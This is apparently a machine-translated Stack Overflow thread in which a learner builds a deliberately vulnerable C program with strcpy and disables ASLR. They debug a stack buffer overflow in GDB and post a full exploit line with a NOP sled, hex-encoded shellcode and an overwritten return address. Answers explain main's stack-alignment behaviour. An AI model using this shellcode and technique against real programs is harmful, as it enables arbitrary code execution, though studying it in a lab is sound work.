2015-11-08 15 views
5

Sto lavorando attraverso alcuni esempi di exploit buffer overflow e ho scritto un'app C vulnerabile di base per testare: (target e attacker è la stessa macchina di Kali 2 e hanno eseguito "echo" 0 ">/proc/sys/kernel/randomize_va_space ")Esempio di exploit buffer overflow

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) 
{ 
     char buffer[256]; 
     if (argc != 2) 
     { 
       exit(0); 
     } 

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
} 

Ora, con alcuni test in GDB posso causare un guasto seg mettendo 260 byte nel buffer:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52') 

con i registri mostra:

eax   0x105 261 
ecx   0xffffd300 -11520 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0xffffd300 0xffffd300 
ebp   0x0 0x0 
esi   0x0 0 
edi   0x0 0 
eip   0x42424242 0x42424242 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

Credo di poter ottenere con successo il controllo di PEI, data la 0x424242 sopra (anche se EBP è 0x0 ??)

Domanda 1.

Con un buffer di 260 byte, EIP viene sovrascritto come sopra. Se si utilizza:

r $(python -c 'print "A" * 512') 

mi sto trovando che la SEGSEGV è a 0x080484b4 con i registri

eax   0x201 513 
ecx   0x41414141 1094795585 
edx   0xf7fb3878 -134530952 
ebx   0xf7fb2000 -134537216 
esp   0x4141413d 0x4141413d 
ebp   0x41414141 0x41414141 
esi   0x0 0 
edi   0x0 0 
eip   0x80484b4 0x80484b4 <main+89> 
eflags   0x10286 [ PF SF IF RF ] 
cs    0x23 35 
ss    0x2b 43 
ds    0x2b 43 
es    0x2b 43 
fs    0x0 0 
gs    0x63 99 

avrei pensato che se il controllo 260 guadagni di EIP, non dovrebbe l'esempio di 512 byte, nonché ? Perché lo scenario 512 consente a EIP di puntare al ret in questo caso anziché a 0x424242 come nell'esempio del buffer di 260 byte sopra?

Domanda 2.

ho creato un carico utile che è di 87 byte. Ho iniettato il payload nei primi 204 byte come sotto

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)') 

miei disas principale è come segue

0x0804845b <+0>: lea 0x4(%esp),%ecx 
    0x0804845f <+4>: and $0xfffffff0,%esp 
    0x08048462 <+7>: pushl -0x4(%ecx) 
    0x08048465 <+10>: push %ebp 
    0x08048466 <+11>: mov %esp,%ebp 
    0x08048468 <+13>: push %ecx 
    0x08048469 <+14>: sub $0x104,%esp 
    0x0804846f <+20>: mov %ecx,%eax 
    0x08048471 <+22>: cmpl $0x2,(%eax) 
    0x08048474 <+25>: je  0x8048480 <main+37> 
    0x08048476 <+27>: sub $0xc,%esp 
    0x08048479 <+30>: push $0x0 
    0x0804847b <+32>: call 0x8048340 <[email protected]> 
    0x08048480 <+37>: mov 0x4(%eax),%eax 
    0x08048483 <+40>: add $0x4,%eax 
    0x08048486 <+43>: mov (%eax),%eax 
    0x08048488 <+45>: sub $0x8,%esp 
    0x0804848b <+48>: push %eax 
    0x0804848c <+49>: lea -0x108(%ebp),%eax 
    0x08048492 <+55>: push %eax 
    0x08048493 <+56>: call 0x8048310 <[email protected]> 
    0x08048498 <+61>: add $0x10,%esp 
    0x0804849b <+64>: sub $0xc,%esp 
    0x0804849e <+67>: lea -0x108(%ebp),%eax 
    0x080484a4 <+73>: push %eax 
    0x080484a5 <+74>: call 0x8048320 <[email protected]> 
    0x080484aa <+79>: add $0x10,%esp 
    0x080484ad <+82>: mov -0x4(%ebp),%ecx 
    0x080484b0 <+85>: leave 
    0x080484b1 <+86>: lea -0x4(%ecx),%esp 
=> 0x080484b4 <+89>: ret 

Mettere un'interruzione su 56 (0x08048493) ed esaminando l'ESP x/2wx $ esp i può scoprire che:

0xffffd220: 0xffffd230 0xffffd56b 

e x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>... 
(gdb) 
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times> 

così, può dedurre (si spera correttamente) che PEI dovrebbe essere \ x6b \ XD5 \ xff \ xff di chiamare l'exploit, e sostituendo tutti i pezzi, come di seguito (usando NOP slitta):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)') 

Purtroppo, il programma ora sta terminando normalmente con "[Inferior 1 (processo 2863) uscito normalmente]". Mi manca qualcosa o semplicemente via dal percorso corretto ...? Anche io noto pause non si rompono nella dichiarazione di cui sopra?

- Modifica

riformulato per rendere più senso dopo aver camminato lontano dalle ore allo schermo :)

+0

I moderni sistemi operativi non consentono di modificare le istruzioni, quindi se si sta tentando di sovrascrivere un'istruzione ret, verrà rilevato un errore. Inoltre, cosa intendi con "riempire l'EIP"? EIP è il puntatore dell'istruzione. –

+0

@BobbySacamano: non necessariamente se il codice è in pila. Lo stack è letto e scritto. E non tutti i sistemi operativi impediscono l'esecuzione di codice nello stack (poiché alcuni sistemi operativi mettono il codice trampolino in pila). Il codice di exploit del buffer finirà nello stack, quindi dipende dal fatto che il sistema operativo consenta di eseguire il codice nello stack. –

+0

@ MichaelPetch oh buon punto. A volte mi dimentico degli attacchi di esecuzione dei dati. Ulteriori informazioni sono necessarie per rispondere a questa ipotesi. –

risposta

1

Si noti che lo stack pointer originale viene salvato nello stack e viene ripristinato poco prima della ret .Quindi se sovrascrivi lo stack potresti anche sovrascrivere il puntatore dello stack che verrà utilizzato per lo ret. main è speciale in questo modo, perché ha il codice di allineamento dello stack nel prologo.

Detto questo, il comportamento previsto è in realtà il secondo e il primo è quello speciale. La tua stringa sembra essere della lunghezza giusta, quindi lo zero terminante sovrascrive il byte basso del puntatore dello stack salvato, che è appena sufficiente per farlo puntare un po 'più in basso nella memoria, ma sempre all'interno della stringa. La posizione esatta dipenderà dal layout dello stack, non sarà sempre il tuo BBBB, infatti per me è da qualche parte nella parte AAAA. Si noti che anche con ASLR disattivato, il layout dello stack potrebbe cambiare a causa dell'ambiente, quindi anche se si ottiene un exploit che funziona in gdb, potrebbe non funzionare in modo affidabile o non funzionare affatto da una shell.

+0

grazie per la risposta, penso che abbia un senso nella mia mente. Nel dire questo, quali sono le mie opzioni per far funzionare questo exploit? – TheITGuy

+0

Se hai scritto questo come pratica, potresti voler inserire tutto in una funzione separata e non sfruttare 'main' - che sarà più semplice perché le altre funzioni non hanno il codice di allineamento dello stack. Inoltre, nella vita reale raramente utilizzi il 'main' stesso. – Jester

+0

grazie - ho spostato la logica di overflow in una funzione e la chiamo da main. Ora vedo che la questione di cui al punto 1 è sparita, e l'exploit sembra essere una sorta di "lavoro". Sto ricevendo/bin/dash: 0: impossibile aprire in gdb. È probabile che questo sia un problema con l'overflow o più relativo all'exploit stesso? – TheITGuy